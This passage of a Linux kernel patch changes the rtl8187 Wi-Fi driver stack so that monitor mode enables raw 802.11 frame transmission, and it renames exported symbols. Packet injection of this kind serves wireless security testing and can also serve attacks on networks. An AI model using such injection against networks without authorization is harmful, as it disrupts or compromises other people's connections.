-EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-07-13 01:46:05.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_tx.c 2007-07-13 01:46:05.000000000 +0200 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_wx.c 2007-07-13 01:46:05.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +260,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +285,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +295,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +318,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +330,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +344,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +422,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +434,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +474,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); 